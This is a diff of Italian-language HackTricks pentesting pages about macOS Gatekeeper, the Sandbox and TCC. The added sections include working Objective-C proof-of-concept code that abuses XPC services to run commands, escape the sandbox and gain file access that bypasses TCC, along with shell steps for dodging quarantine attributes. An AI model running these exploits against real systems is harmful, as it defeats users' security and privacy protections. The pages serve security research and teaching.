- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Consente al codice con quei cdhash di utilizzare diritti legacy.
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: Elenco di plugin ed estensioni che non sono autorizzati a caricarsi tramite BundleID e TeamID o che indicano una versione minima.
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Regole Yara per rilevare malware.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash delle applicazioni bloccate e TeamIDs.
- **`XProtect.bundle/Contents/Resources/gk.db`**: Database SQLite3 con hash di applicazioni bloccate e TeamIDs.
Nota che c'è un'altra App in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** relativa a XProtect che non è coinvolta nel processo di Gatekeeper.
@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Inoltre, il formato di file **AppleDouble** copia un file includendo i suoi ACE.
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con il formato di file **AppleDouble** con un ACL che impedisce ad altri xattrs di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con il formato di file **AppleDouble** con un ACL che impedisce ad altri xattr di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -387,7 +383,7 @@ aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** ai file scaricati a causa di alcuni problemi interni di macOS.
È stato scoperto che **Google Chrome non impostava l'attributo di quarantena** sui file scaricati a causa di alcuni problemi interni di macOS.
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
@ -401,8 +397,8 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
```
Essere in grado di creare un file che non avrà l'attributo di quarantena ha reso **possibile bypassare Gatekeeper.** Il trucco consisteva nel **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarla con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\
Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypassa Gatekeeper.**
Essere in grado di creare un file che non avrà l'attributo di quarantena ha reso **possibile bypassare Gatekeeper.** Il trucco consiste nel **creare un'applicazione file DMG** utilizzando la convenzione di denominazione AppleDouble (iniziarla con `._`) e creare un **file visibile come un link simbolico a questo file nascosto** senza l'attributo di quarantena.\
Quando il **file dmg viene eseguito**, poiché non ha un attributo di quarantena, **bypasserà Gatekeeper.**
```bash
# Create an app bundle with the backdoor an call it app.app
@ -431,8 +427,5 @@ aa archive -d s/ -o app.aar
In un pacchetto ".app" se l'xattr di quarantena non è aggiunto, quando viene eseguito **Gatekeeper non verrà attivato**.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -135,15 +135,17 @@ Qui puoi trovare un esempio:
>
> Nota che nella versione compilata di un profilo, il nome delle operazioni è sostituito dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere.
Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
Importanti **servizi di sistema** vengono eseguiti all'interno del loro **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
- Altri profili sandbox possono essere controllati in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete.
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete.
SIP è un profilo Sandbox chiamato platform_profile in /System/Library/Sandbox/rootless.conf
Poi, alcuni **servizi daemon di Apple** utilizzano profili diversi situati in `/System/Library/Sandbox/Profiles/*.sb` o `/usr/share/sandbox/*.sb`. Questi sandbox vengono applicati nella funzione principale che chiama l'API `sandbox_init_XXX`.
**SIP** è un profilo Sandbox chiamato platform_profile in `/System/Library/Sandbox/rootless.conf`.
### Esempi di Profili Sandbox
@ -207,7 +209,7 @@ Esempi di bypass:
### Tracciamento del Sandbox
#### Tramite profilo
#### Via profilo
È possibile tracciare tutti i controlli che il sandbox esegue ogni volta che un'azione viene verificata. Per farlo, crea semplicemente il seguente profilo:
```scheme:trace.sb
@ -218,14 +220,14 @@ E poi esegui semplicemente qualcosa utilizzando quel profilo:
```bash
sandbox-exec -f /tmp/trace.sb /bin/ls
```
In `/tmp/trace.out` potrai vedere ogni controllo sandbox eseguito ogni volta che è stato chiamato (quindi, molti duplicati).
In `/tmp/trace.out` potrai vedere ogni controllo della sandbox eseguito ogni volta che è stato chiamato (quindi, molti duplicati).
È anche possibile tracciare la sandbox utilizzando il **`-t`** parametro: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
È anche possibile tracciare la sandbox utilizzando il parametro **`-t`**: `sandbox-exec -t /path/trace.out -p "(version 1)" /bin/ls`
#### Via API
La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` consente di specificare un nome file di traccia dove verranno scritti i controlli sandbox.\
È anche possibile fare qualcosa di simile chiamando `sandbox_vtrace_enable()` e poi ottenendo i log di errore dal buffer chiamando `sandbox_vtrace_report()`.
La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` consente di specificare un nome file di traccia in cui verranno scritti i controlli della sandbox.\
È anche possibile fare qualcosa di simile chiamando `sandbox_vtrace_enable()` e poi ottenendo i log degli errori dal buffer chiamando `sandbox_vtrace_report()`.
### Ispezione della Sandbox
@ -233,11 +235,11 @@ La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` cons
### Profili Sandbox di MacOS e iOS
MacOS memorizza i profili sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
MacOS memorizza i profili della sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
E se un'applicazione di terze parti porta il _**com.apple.security.app-sandbox**_ diritto, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
E se un'applicazione di terze parti porta il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario Allow/Deny per ciascuna autorizzazione della sandbox.
In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario di Permesso/Nego per ciascuna autorizzazione della sandbox.
### SBPL personalizzato nelle app dell'App Store
@ -313,7 +315,7 @@ Nota che per chiamare la funzione di sospensione vengono controllati alcuni diri
## mac_syscall
Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi il terzo argomento dipenderà dalla funzione eseguita.
Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi, il terzo argomento dipenderà dalla funzione eseguita.
La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel primo argomento `"Sandbox"` proprio come `___sandbox_msp` è un wrapper di `mac_set_proc` (#387). Poi, alcuni dei codici supportati da `___sandbox_ms` possono essere trovati in questa tabella:
@ -330,8 +332,8 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
- **suspend (#10)**: Sospende temporaneamente tutti i controlli del sandbox (richiede diritti appropriati).
- **unsuspend (#11)**: Riprende tutti i controlli del sandbox precedentemente sospesi.
- **passthrough_access (#12)**: Consente l'accesso diretto a una risorsa, bypassando i controlli del sandbox.
- **set_container_path (#13)**: (solo iOS) Imposta un percorso di contenitore per un gruppo di app o ID di firma.
- **container_map (#14)**: (solo iOS) Recupera un percorso di contenitore da `containermanagerd`.
- **set_container_path (#13)**: (solo iOS) Imposta un percorso del contenitore per un gruppo di app o ID di firma.
- **container_map (#14)**: (solo iOS) Recupera un percorso del contenitore da `containermanagerd`.
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Imposta i metadati in modalità utente nel sandbox.
- **inspect (#16)**: Fornisce informazioni di debug su un processo sandboxed.
- **dump (#18)**: (macOS 11) Dump del profilo attuale di un sandbox per analisi.
@ -339,7 +341,7 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
- **builtin_profile_deactivate (#20)**: (macOS < 11) Disattiva profili nominati (es. `pe_i_can_has_debugger`).
- **check_bulk (#21)**: Esegue più operazioni `sandbox_check` in una singola chiamata.
- **reference_retain_by_audit_token (#28)**: Crea un riferimento per un token di audit da utilizzare nei controlli del sandbox.
- **reference_release (#29)**: Rilascia un riferimento di token di audit precedentemente mantenuto.
- **reference_release (#29)**: Rilascia un riferimento a un token di audit precedentemente mantenuto.
- **rootless_allows_task_for_pid (#30)**: Verifica se `task_for_pid` è consentito (simile ai controlli `csr`).
- **rootless_whitelist_push (#31)**: (macOS) Applica un file manifesto di Protezione Integrità di Sistema (SIP).
- **rootless_whitelist_check (preflight) (#32)**: Controlla il file manifesto SIP prima dell'esecuzione.
@ -350,15 +352,15 @@ La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel p
Nota che in iOS l'estensione del kernel contiene **tutti i profili hardcoded** all'interno del segmento `__TEXT.__const` per evitare che vengano modificati. Le seguenti sono alcune funzioni interessanti dall'estensione del kernel:
- **`hook_policy_init`**: Collega `mpo_policy_init` ed è chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP.
- **`hook_policy_init`**: Collega `mpo_policy_init` e viene chiamato dopo `mac_policy_register`. Esegue la maggior parte delle inizializzazioni del Sandbox. Inizializza anche SIP.
- **`hook_policy_initbsd`**: Imposta l'interfaccia sysctl registrando `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` e `security.mac.sandbox.debug_mode` (se avviato con `PE_i_can_has_debugger`).
- **`hook_policy_syscall`**: È chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto.
- **`hook_policy_syscall`**: Viene chiamato da `mac_syscall` con "Sandbox" come primo argomento e codice che indica l'operazione nel secondo. Viene utilizzato uno switch per trovare il codice da eseguire in base al codice richiesto.
### MACF Hooks
**`Sandbox.kext`** utilizza più di un centinaio di hook tramite MACF. La maggior parte degli hook controllerà solo alcuni casi banali che consentono di eseguire l'azione, altrimenti chiameranno **`cred_sb_evalutate`** con le **credenziali** da MACF e un numero corrispondente all'**operazione** da eseguire e un **buffer** per l'output.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha collegato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione.
Un buon esempio di ciò è la funzione **`_mpo_file_check_mmap`** che ha agganciato **`mmap`** e che inizierà a controllare se la nuova memoria sarà scrivibile (e se non lo è, consentirà l'esecuzione), poi controllerà se è utilizzata per la cache condivisa dyld e, se sì, consentirà l'esecuzione, e infine chiamerà **`sb_evaluate_internal`** (o uno dei suoi wrapper) per eseguire ulteriori controlli di autorizzazione.
Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particolare che sono molto interessanti:
@ -366,7 +368,7 @@ Inoltre, tra i centinaia di hook utilizzati da Sandbox, ce ne sono 3 in particol
- `mpo_vnode_check_exec`: Chiamato quando un processo carica il binario associato, quindi viene eseguito un controllo del profilo e anche un controllo che vieta le esecuzioni SUID/SGID.
- `mpo_cred_label_update_execve`: Questo viene chiamato quando l'etichetta viene assegnata. Questo è il più lungo poiché viene chiamato quando il binario è completamente caricato ma non è ancora stato eseguito. Eseguirà azioni come la creazione dell'oggetto sandbox, l'attacco della struttura sandbox alle credenziali kauth, la rimozione dell'accesso alle porte mach...
Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei componenti principali di **SIP** in macOS.
Nota che **`_cred_sb_evalutate`** è un wrapper su **`sb_evaluate_internal`** e questa funzione ottiene le credenziali passate e poi esegue la valutazione utilizzando la funzione **`eval`** che di solito valuta il **profilo della piattaforma** che è per impostazione predefinita applicato a tutti i processi e poi il **profilo del processo specifico**. Nota che il profilo della piattaforma è uno dei principali componenti di **SIP** in macOS.
## Sandboxd

View File

@ -10,21 +10,21 @@ Nell'immagine precedente è possibile osservare **come il sandbox verrà caricat
Il compilatore collegherà `/usr/lib/libSystem.B.dylib` al binario.
Poi, **`libSystem.B`** chiamerà altre diverse funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd controlla se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\
Poi, **`libSystem.B`** chiamerà altre diverse funzioni fino a quando **`xpc_pipe_routine`** invia i diritti dell'app a **`securityd`**. Securityd verifica se il processo deve essere messo in quarantena all'interno del Sandbox, e se sì, verrà messo in quarantena.\
Infine, il sandbox verrà attivato con una chiamata a **`__sandbox_ms`** che chiamerà **`__mac_syscall`**.
## Possibili Bypass
### Bypass dell'attributo di quarantena
**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del bundle dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**.
**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del pacchetto dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**.
Questo è ciò che è stato fatto in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
> [!CAUTION]
> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
> Pertanto, al momento, se sei solo in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
>
> Nota che se un bundle .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a eseguire attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei bundle **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato).
> Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox alto).
### Abuso della funzionalità Open
@ -37,7 +37,7 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons
Anche se un'applicazione è **destinata a essere sandboxed** (`com.apple.security.app-sandbox`), è possibile bypassare il sandbox se viene **eseguita da un LaunchAgent** (`~/Library/LaunchAgents`), per esempio.\
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
### Abuso delle posizioni di avvio automatico
@ -59,12 +59,156 @@ Se da quel processo sandbox sei in grado di **compromettere altri processi** in
../../../macos-proces-abuse/
{{#endref}}
### Compilazione statica e collegamento dinamico
### Servizi Mach di sistema e utente disponibili
[**Questa ricerca**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox è applicato dal userland quando la libreria **libSystem** viene caricata. Se un binario potesse evitare di caricarlo, non verrebbe mai sandboxed:
Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi potresti essere in grado di **sfuggire al sandbox**.
Come indicato in [questo writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), le informazioni sui servizi Mach sono memorizzate in `/System/Library/xpc/launchd.plist`. È possibile trovare tutti i servizi Mach di sistema e utente cercando all'interno di quel file per `<string>System</string>` e `<string>User</string>`.
Inoltre, è possibile verificare se un servizio Mach è disponibile per un'applicazione sandboxed chiamando `bootstrap_look_up`:
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### Servizi Mach PID disponibili
Questi servizi Mach sono stati inizialmente abusati per [uscire dal sandbox in questo articolo](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). A quel tempo, **tutti i servizi XPC richiesti** da un'applicazione e dal suo framework erano visibili nel dominio PID dell'app (questi sono servizi Mach con `ServiceType` come `Application`).
Per **contattare un servizio XPC del dominio PID**, è sufficiente registrarlo all'interno dell'app con una riga come:
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
Inoltre, è possibile trovare tutti i servizi Mach delle **Applicazioni** cercando all'interno di `System/Library/xpc/launchd.plist` per `<string>Application</string>`.
Un altro modo per trovare servizi xpc validi è controllare quelli in:
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
Diversi esempi che abusano di questa tecnica possono essere trovati nel [**writeup originale**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), tuttavia, i seguenti sono alcuni esempi riassunti.
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
Questo servizio consente ogni connessione XPC restituendo sempre `YES` e il metodo `runTask:arguments:withReply:` esegue un comando arbitrario con parametri arbitrari.
Lo sfruttamento era "così semplice come":
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
Questo servizio XPC consentiva a ogni client di restituire sempre YES e il metodo `createZipAtPath:hourThreshold:withReply:` consentiva fondamentalmente di indicare il percorso di una cartella da comprimere e la comprimeva in un file ZIP.
Pertanto, è possibile generare una falsa struttura di cartelle dell'app, comprimerla, quindi decomprimerla ed eseguirla per sfuggire al sandbox poiché i nuovi file non avranno l'attributo di quarantena.
Lo sfruttamento era:
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
Questo servizio XPC consente di fornire accesso in lettura e scrittura a un URL arbitrario al client XPC tramite il metodo `extendAccessToURL:completion:`, che accetta qualsiasi connessione. Poiché il servizio XPC ha FDA, è possibile abusare di queste autorizzazioni per bypassare completamente TCC.
Lo sfruttamento era:
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### Compilazione Statica & Collegamento Dinamico
[**Questa ricerca**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) ha scoperto 2 modi per bypassare il Sandbox. Poiché il sandbox viene applicato dal userland quando la libreria **libSystem** viene caricata. Se un binario potesse evitare di caricarla, non verrebbe mai sandboxato:
- Se il binario fosse **completamente compilato staticamente**, potrebbe evitare di caricare quella libreria.
- Se il **binario non avesse bisogno di caricare alcuna libreria** (perché il linker è anche in libSystem), non avrà bisogno di caricare libSystem.
- Se il **binario non avesse bisogno di caricare alcuna libreria** (poiché il linker è anche in libSystem), non avrà bisogno di caricare libSystem.
### Shellcodes
@ -73,9 +217,26 @@ Nota che **anche gli shellcodes** in ARM64 devono essere collegati in `libSystem
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### Restrizioni non ereditate
Nota che anche se alcune **azioni** potrebbero essere **consentite dal sandbox** se un'applicazione ha un **entitlement** specifico, come in:
Come spiegato nel **[bonus di questo documento](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, una restrizione della sandbox come:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
può essere eluso da un nuovo processo che esegue ad esempio:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
Tuttavia, ovviamente, questo nuovo processo non erediterà diritti o privilegi dal processo padre.
### Diritti
Nota che anche se alcune **azioni** potrebbero essere **consentite dal sandbox** se un'applicazione ha un **diritto** specifico, come in:
```scheme
(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
@ -218,7 +379,7 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
> ```
Vediamo di fare il debug dell'applicazione per vedere quando viene caricato il Sandbox:
Debugghiamo l'applicazione per vedere quando viene caricato il Sandbox:
```bash
# Load app in debugging
lldb ./sand

View File

@ -26,7 +26,7 @@ L'**attributo esteso `com.apple.macl`** viene aggiunto al nuovo **file** per dar
### Richiesta TCC con nome arbitrario
L'attaccante può **creare app con qualsiasi nome** (ad es. Finder, Google Chrome...) nel **`Info.plist`** e farla richiedere accesso a una posizione protetta da TCC. L'utente penserà che l'app legittima sia quella che richiede questo accesso.\
L'attaccante può **creare app con qualsiasi nome** (ad es. Finder, Google Chrome...) nel **`Info.plist`** e farle richiedere accesso a una posizione protetta da TCC. L'utente penserà che l'app legittima sia quella che richiede questo accesso.\
Inoltre, è possibile **rimuovere l'app legittima dal Dock e mettere quella falsa**, così quando l'utente clicca su quella falsa (che può usare la stessa icona) potrebbe chiamare quella legittima, chiedere i permessi TCC ed eseguire un malware, facendo credere all'utente che l'app legittima abbia richiesto l'accesso.
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -62,11 +62,11 @@ L'attributo **`com.apple.private.icloud-account-access`** consente di comunicare
**iMovie** e **Garageband** avevano questo attributo e altri che lo consentivano.
